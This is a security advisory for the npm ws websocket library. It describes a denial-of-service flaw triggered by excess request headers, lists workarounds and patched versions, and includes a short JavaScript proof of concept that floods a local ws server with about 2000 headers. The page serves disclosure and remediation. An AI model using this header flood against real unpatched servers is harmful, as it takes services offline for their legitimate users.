Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) when the number of received headers exceed the server.maxHeadersCount or request.maxHeadersCount threshold.

Workaround

This issue can be mitigating by following these steps:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.

2. Set server.maxHeadersCount to 0 so that no limit is applied.

PoC

const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();

const wss = new WebSocket.Server({ server });

server.listen(function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: server.address().port
  });

  request.end();
});

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade ws to version 5.2.4, 6.2.3, 7.5.10, 8.17.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub Release